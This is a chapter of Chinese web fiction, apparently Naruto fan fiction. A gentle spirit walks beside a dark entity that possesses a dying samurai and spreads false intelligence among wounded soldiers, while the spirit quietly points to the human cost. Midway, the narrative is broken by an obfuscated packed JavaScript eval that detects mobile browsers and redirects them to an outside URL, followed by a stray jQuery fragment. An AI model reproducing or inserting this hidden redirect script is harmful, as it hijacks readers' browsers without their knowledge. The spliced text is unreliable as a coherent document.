又一场漫长的离别，在某个寻常的黄昏后悄然而至。林和的灵体如烟散去时，小黑正对着新刻的符号微微出神，石臼里的那朵白色小花，在暮色中沉静地开着第三日。没有告别，只因“告别”本身，对习惯了不确定归期的他们而言，已是心照不宣的寻常。
系统提示音再次唤醒林和时，他感受到的是一种与以往不同的、拥挤的“时间密度”。
【阶段性回归。当前世界时间流速：距离上次离开，已过去一百二十年。】
一百二十年。战国时代的画卷正泼洒到最浓烈也最混乱的章节。
林和出现在一片陌生的山林边缘。月光黯淡，空气里弥漫着浓重的血腥、焦烟、铁锈，以及许多人聚集的、浑浊而燥热的“人气”。远处有摇曳的火把光，哭喊、咒骂与兵刃交击的嘶鸣被夜风撕扯得断断续续。这是一处刚结束遭遇战的边缘战场，属于两个为争夺小型铁矿而厮杀的小型忍族与地方武士的混合队伍。
他立刻搜寻。系统光点在不远处闪烁——一棵被苦无和刀痕刻满的、半枯的古杉树下。
林和飘近，呼吸（如果灵体需要）微微一滞。
树下靠坐着一个“人”。
一个很年轻的武士，或许刚成年。破烂的皮甲上染着家纹，已被血污浸得模糊。他脸上沾满泥灰与血，胸口有一道可怕的贯穿伤，身下土地暗红黏腻。他眼神涣散，望着死寂下来的战场，嘴唇无声开合，像在喊某个名字。生命正从他眼中迅速流逝。
而一团熟悉的、比百年前凝实许多的浓黑，正从武士背后树干的阴影中“流淌”而出，悄无声息地，蔓上冰冷的脚踝、腿、躯干……最后，如同温柔的拥抱，又如同无情的覆盖，彻底包裹、渗入那具即将冷却的躯壳。
武士眼中最后一点光，熄灭了。
下一秒，那双眼眸重新“睁开”。
依旧是原本的浅褐色，但里面的“人”彻底消失了。只剩空洞、冰冷、深不见底。然后，那冰冷深处，缓慢泛起一丝属于“工作”的、非人的专注。
“武士”——不，现在是被小黑附身的容器——极其僵硬地动了动脖颈。他（它）抬起一只沾满血污和泥土的手，放在眼前，极其缓慢地张开五指，又更缓慢地、一根根地蜷起。动作充满了不协调的生疏，仿佛在操纵一具过于复杂又过于破烂的提线木偶。指关节发出轻微的、滞涩的“咔”声。
林和飘到“他”面前，停在月光能照亮彼此脸庞的距离。
“小黑。”他唤道，声音里带着长途跋涉后重逢的温柔，也有一丝不易察觉的紧绷，“我回来了。这次……好像有点不一样。”
“武士”缓缓转动眼珠。那双冰冷的、属于人类却又绝非人类的眸子，准确地对焦在林和脸上。片刻后，嘶哑的、属于这具□□残余本能的嗓音，混合着小黑那独有的、干涩的意识波动，一同传来：
【饲养员。】它“说”，声音破碎难听，时间……流逝。需要……利用这个“身份”。它用了“身份”这个词，像在陈述一个工具的参数。附近有伤兵聚集地……可以引导冲突……为后续……铺垫。
它的解释简洁冰冷。林和瞬间明白了。这一百二十年，小黑不再仅仅满足于在荒僻处修改石碑。它开始更直接地介入，利用即将消逝的□□作为“面具”和“棋子”，亲自踏入这纷乱的战国棋局，成为推动其血腥流向的一颗微不足道、却可能影响节点的石子。
“引导……去哪里？”林和问，目光扫过“武士”胸口那可怖的、仍在缓慢渗血的伤口。即使被附身，这具□□也撑不了多久，每一秒都在崩坏。
【东边。山谷。】小黑操控着武士的身体，试图站起。动作笨拙至极，双腿像不属于自己般打颤、交错，差点重新栽倒。它对这具沉重、疼痛、濒临极限的躯体控制得十分艰难。“他”的记忆碎片里有可用的情报……真假掺杂……能引发猜忌……扩大死亡。
它的话语断续，但计划清晰冷酷。利用这垂死武士的身份，混入伤兵，散播谎言，让猜忌与仇恨如野火蔓延，为它更长远的、挑动因陀罗与阿修罗后裔对立的大计，积累更多“柴薪”。
林和的心沉了沉。但他没有出言阻止。他只是飘上前一步，目光落在“武士”不断渗出鲜血的胸口，又看向“他”那双冰冷眸子里深处，那一点点几乎无法察觉的、因控制陌生躯体与忍受濒死痛苦而产生的凝滞，以及一丝……极其微弱的、被这具□□残留的剧烈痛苦所激起的、本能的烦躁。
“我陪你去。”林和说，声音平稳如昔，“不过，在‘工作’之前，要不要先……习惯一下‘走路’？你看起来，”他顿了顿，语气温和得像在讨论天气，“好像不太习惯这双腿，还有……这里的疼。”他虚指了一下伤口的位置。
小黑操控的“武士”僵硬地低头，看了看自己染血的胸口，又抬头看林和。冰冷的眸子里似乎闪过一丝极淡的困惑，仿佛在问：疼痛，不是需要屏蔽的干扰信号吗？为何要“习惯”？
但它没有反驳。只是再次尝试迈步。这一次，它更专注于协调这具□□的肌肉与骨骼，动作依然笨拙，深一脚浅一脚，像踩在棉花或刀尖上。左腿似乎有旧伤，每次承重时，“武士”的面部肌肉都会不受控制地抽搐一下——那是□□残留的神经反射，并非小黑的本意，却让这张染血的脸庞，在月光下显出一种扭曲的痛苦真实感。
林和飘在“他”身侧，稍稍靠前一点，像一抹无声的引路灯。他的目光不再看那可怖的伤口或冰冷的眼神，而是望着前方坑洼不平、染血并散落着断箭与破碎护额的小路，轻声开口，仿佛在闲谈：
“这条路看起来很难走。小心左边的石头，松了，好像有血。”
“前面阴影里好像是个浅坑，看不清，慢点。”
“风里的烟味很浓，但好像……夹杂着一点烧艾草和腐肉的味道？伤兵营应该就在前面了。”
他没有提供实质的帮助，只是平静地描述着“武士”感官所能及、却被其冰冷意识忽略或判定为“无用信息”的周遭环境。他的声音不高，在夜风与远处隐隐的哀嚎中，几乎微不可闻，却奇异地形成了一道安稳的屏障。
小黑操控着躯体，沉默地前行。它对林和的“路况解说”没有任何回应，步伐依旧专注而僵硬。但林和能感觉到，在“他”那冰冷的核心周围，那些因强行操控濒死□□而产生的、细微的烦躁与滞涩感，似乎在他的低语中，被一丝丝地抚平、理顺了。它行走的节奏，在不知不觉中，与他语速的节拍隐隐契合。
他们就这样，一实一虚，一前一后，沉默地穿行在战后死寂的荒原。月光偶尔突破云层，照亮“武士”苍白染血、因痛苦而不时抽搐的脸，和林和透明却温润的轮廓。
接近山谷时，人声与火光渐盛。浑浊的空气扑面而来，混合着血腥、汗臭、草药、排泄物与绝望的气息。简陋的营地里，伤兵躺了一地，呻吟、哭泣、断续的咒骂与濒死的呜咽交织。火把摇曳，映出一张张因痛苦而扭曲、或因麻木而空洞的脸孔。偶尔有穿着简易护额或不同样式简易盔甲的忍者或武士匆匆走过，表情疲惫而凶狠。
小黑在营地边缘一堆废弃的辎重旁停下。它需要等待时机融入。
“在这里等？”林和也停下，看着营地里的景象。那些残缺的躯体，无神的眼睛，紧紧攥着武器残片或亲人信物直至僵硬的手指……他沉默了片刻，然后看向身边“武士”冰冷无波的侧脸，轻声问：“小黑，你能‘感觉’到……他们的‘疼’吗？不只是伤口，是那种……怕再也回不去，怕被丢在这里腐烂的‘疼’。”
“武士”缓缓转头，用那双枯井般的眼睛看他，意识波动平淡无波：【□□损伤。神经信号。生命能量逸散。是‘疼’的物理基础。恐惧是生存本能受阻的副产品，激素分泌，神经递质变化。】纯粹理性的拆解，如同分析一块石头的成分。
“不只是‘副产品’，”林和望着最近处一个看起来不过少年、小腿血肉模糊却咬牙不让自己哭出声的伤兵，那孩子死死攥着一块脏污的护身符，眼神里是对死亡的巨大恐惧和对生命的无限留恋，“那是他们活过的证据。怕再也见不到母亲的笑容，怕等不到答应给妹妹买的发簪，怕自己像条野狗一样死在这无名之地，没人记得……是这些，组成了他们现在每一口呼吸里的‘疼’。”
小黑沉默了。它“注视”着那个少年，又缓缓扫过营地里其他痛苦翻滚或静默等死的躯体。它的意识深处，那些冰冷的分析数据似乎停滞了一瞬。它无法理解“母亲的笑容”或“给妹妹的发簪”，那属于它被封印的母亲，属于另一种庞大而扭曲的执念。但“怕被忘记”、“像野狗一样死”……它的核心，几不可查地悸动了一下。它自己，不正是为了防止被忘记（被母亲，被历史）而“存在”么？这种共鸣扭曲而冰冷，却真实存在。
但这悸动稍纵即逝。它重新恢复冰冷：【情绪无用。干扰判断。计划无需理解这些。】
“嗯，计划不需要。”林和点点头，并不争辩。他只是重新将目光投向营地外的黑暗，那里有夜枭凄厉的叫声掠过。“但如果你待会儿要模仿他们，‘说话’，‘呻吟’，甚至‘哭’……或许知道一点点他们为什么‘怕’，为什么‘不甘’，会模仿得更像一些？就像你学走路一样。不容易被怀疑。”
他给出的依然是纯粹实用主义的理由，关乎“计划”的成功率。
小黑再次沉默。这次沉默得更久一些。它操控的“武士”身躯，微微调整了一下倚靠的角度，让胸口的伤处不那么快崩裂。然后，它开始更“仔细”地观察。不仅是看伤口，而是看一个因剧痛而失禁的士兵眼中瞬间闪过的巨大耻辱与随之而来的空洞；看一个老人颤抖的手一遍遍抚摸断刀上的家纹；听两个濒死敌人挨在一起，无意识地用方言含糊交换家乡的天气和一道简单的菜名……它依然不理解那些情绪，但它开始更认真地“记录”那些情绪在□□与声音上的表征。这个过程，似乎让这具它操控的、冰冷的躯体，也蒙上了一层更浓厚的、属于“人类”的疲惫阴影。
林和不再说话，只是陪着它，一起“观察”。偶尔，当
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398651|200390||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小黑的目光在某处停留稍久，或是“武士”的身躯因难以忍受的剧痛（来自□□本能）而剧烈痉挛一下时，他会极轻地哼起一段无词的旋律。那旋律很旧，很缓，像从遥远的、没有战火的时空飘来，不着痕迹地环绕着他们这方小小的阴影角落。
就在这时，林和的目光被营地边缘一个不起眼的角落吸引。那里，一株在战火中侥幸存活、被踩踏得歪斜的蒲公英旁，泥土有微弱的松动。一只断了半条前腿、甲壳破损的黑色小甲虫，正用剩余的三条腿，极其缓慢、却坚持不懈地，试图将一颗比它身体还大的、沾着血污的种子，拖进一个几乎看不见的小土洞。每一次拖拽都摇摇欲坠，但它不停。
林和凝视了两秒，然后，用尽此刻能调动的、最细微的一丝情感共鸣，将那份“专注”与“顽强”的感觉，极轻柔地、如同羽毛拂过般，分享给了身边的小黑。
小黑操控的“武士”几不可查地偏了一下头，冰冷的视线掠过那只挣扎的甲虫。没有停顿，没有理解。但那纯粹“观察”的姿态，似乎有了一刹那极其微妙的凝滞，仿佛冰冷的镜面，偶然映照了一个毫无意义的、却充满蛮力的生命剪影。
时间一点点过去。小黑等待的时机到了——一队抬着伤员的士兵经过附近，有人低声抱怨，提到了某个它计划中关键小头目的名字。
“武士”动了。它模仿着不远处一个伤兵的姿态，发出痛苦而模糊的闷哼，拖着那条不听话的腿，向着那队人“挣扎”而去。它的表演依旧僵硬，眼神缺乏真正伤兵那种浑浊的痛苦或强烈的求生欲，但在昏暗火光和普遍混乱中，足以蒙混。
林和飘在它身后几步，看着它用破碎的嗓音，断断续续地“复述”着夹杂虚假情报的消息。看着那些疲惫士兵脸上的惊疑、愤怒。计划的齿轮，开始咔哒转动。
小黑“传递”完情报，便被半搀扶到一堆稻草上。它需要留在那里，等待“发酵”。
林和始终跟着。他看着小黑闭上眼，伪装昏迷。夜更深，营地渐渐被痛苦的低吟和死亡的寂静统治。
小黑伪装的身躯一动不动。林和靠在旁边的空气里，望着营帐破洞外那一小片星空。他忽然用很低的声音，仿佛自言自语：
“小黑。”
“嗯？”
“天上那颗最亮的星星下面，我来时路过一个被烧毁一半的村子。村口老树还冒着烟，树下……有个碎了的陶罐，里面还剩半罐没吃完的、糊掉的杂粮饭。可能是个母亲急着带孩子们躲起来时打翻的。她也许还活着，躲在附近山里，守着孩子们，等着天亮，或者等着永远回不去的丈夫。”
“你刚才‘告诉’那些人的话……可能会让那颗星星下面，多几个再也等不到父亲回去吃那半罐饭的孩子。”
“我知道，这是你的‘计划’，你的‘历史’。”
“我只是……看到了那半罐饭。顺便告诉你。”
他说得很平淡，没有指责，没有悲伤，只是陈述一个看见的、具体的细节，一个“顺便”。
身边，“武士”的躯体几不可查地绷紧了一瞬。那冰冷的意识核心，仿佛被这具体到“半罐糊掉的杂粮饭”的意象，投入了一颗小而坚硬的石子。没有激起名为“愧疚”的涟漪。但似乎……有什么东西被堵了一下。让它那纯粹为“计划”而运转的思维，出现了一刹那的、窒涩的凝滞。这凝滞感如此陌生，让它操控的躯体，喉结处甚至不受控制地微微滚动了一下——那是这具□□残留的、吞咽无形情绪的生理反应。
它依旧闭着眼，伪装昏迷。
但过了很久，久到林和以为它不会再有任何反应时，一丝微弱到近乎错觉的意识波动，拂过林和的感知。
那波动里没有内容。
只有一种类似于……长久凝视着鲜血与尘土之后，突然将视线投向碗中星光与沉底花瓣时，所产生的、巨大的认知虚空与疲惫。以及，更深处的，一丝连它自己都无法命名的、空旷的凉意，如同它此刻胸腔里那个早已停止跳动、空空荡荡的、曾经怀揣着粗糙饭食与归家承诺的地方。
林和没有再说话。
他只是继续望着那片小小的星空，然后，极轻地，重新哼起了歌。这一次，歌声里多了一丝几乎无法察觉的、沉重而温柔的颤音，像在安抚一个看不见的、巨大的伤口。
夜空下，战国时代按照它残酷的逻辑运转着。而在一个微不足道的伤兵营角落，一团伪装成人类的黑色意识，在它宏大的血腥棋局上落下冰冷一子；一个无人能见的温柔灵体，守在旁边，哼着带着颤音的歌，顺便，告诉他关于被烧毁的村子、半罐冷饭，以及星星下等待的故事。
月光移过营帐的破洞，轻轻照在“武士”染血却平静（伪装之下）的脸上，也透过林和透明的身躯，在地上投下淡得几乎看不见的影子。
在这喧嚣的、属于人类的痛苦、野心与死亡的汹涌脉搏上，他们继续练习着，只属于彼此的、寂静的聆听。只是这一次，那寂静深处，似乎多了几缕无形无声的、血的腥气，和饭的焦糊味，萦绕不散。